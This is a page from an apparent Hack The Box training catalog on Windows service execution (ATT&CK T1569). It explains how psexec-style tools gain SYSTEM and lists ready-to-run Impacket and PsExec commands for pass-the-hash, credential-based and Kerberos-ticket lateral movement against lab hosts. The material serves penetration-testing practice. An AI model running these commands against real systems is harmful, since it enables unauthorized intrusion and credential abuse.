Service Execution
Sub-technique of T1569 System Services ↗
Creating or modifying a Windows service so it runs your command, usually as SYSTEM.
How it shows up on Hack The Box
It is what psexec and smbexec do under the hood: they need a local admin and write access to ADMIN$. If antivirus blocks it, try wmiexec or WinRM.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Windows lateral movement: pass-the-hash, pass-the-ticket, WinRM, PsExec and WMI 4 min read Use a password, NT hash or Kerberos ticket to run commands elsewhere: evil-winrm, psexec, wmiexec, RDP, overpass-the-hash and golden and silver tickets.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Windows and Active Directory privilege escalation › Windows
Pass-the-hash with psexec
Attacker
impacket-psexec [email protected] -hashes :HASH_NTActive Directory in depth › Impacket
psexec (SYSTEM)
Attacker
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20C2 and post-exploitation › Lateral movement
impacket-psexec
Attacker
impacket-psexec box.htb/usuario:'Password123!'@10.10.11.20
Sysinternals PsExec (from Windows)
Target
PsExec.exe -accepteula \\10.10.11.20 -u box.htb\\usuario -p 'Password123!' cmdImpacket › More examples
Use a Kerberos ticket (no password)
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass box.htb/[email protected]No command matches.